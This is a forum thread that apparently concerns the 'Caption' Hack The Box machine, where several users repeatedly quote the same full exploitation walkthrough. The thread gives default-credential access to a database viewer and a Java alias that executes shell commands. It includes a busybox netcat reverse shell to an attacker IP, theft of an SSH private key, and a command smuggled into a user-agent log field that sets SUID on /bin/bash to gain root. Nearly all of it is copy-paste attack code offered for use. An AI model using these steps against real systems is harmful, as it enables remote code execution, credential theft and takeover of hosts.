[trevor69000]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

[macavitysworld]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You can also directly get the ssh keys without getting an unstable shell.

SELECT EXECVE('cat /home/Margo/.ssh/id_ecdsa')

[trevor69000]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You can also directly get the ssh keys without getting an unstable shell.

SELECT EXECVE('cat /home/Margo/.ssh/id_ecdsa')

Yess

[rafaforlife]

it actually worked

[4rrows]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You can also directly get the ssh keys without getting an unstable shell.

SELECT EXECVE('cat /home/Margo/.ssh/id_ecdsa')

At first I received some errors, but it worked later

[androidhacker1337]

for more boxes you can join here https://t.me/yeswehackthebox

[HooptieDooptie]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You are missing the step:
thrift --gen py log_service.thrift  to make it loadable in a python script.

[trevor69000]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You are missing the step:
thrift --gen py log_service.thrift  to make it loadable in a python script.

my bad

[HooptieDooptie]

Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You are missing the step:
thrift --gen py log_service.thrift  to make it loadable in a python script.

my bad

No worries, great summary anyway! Cheers!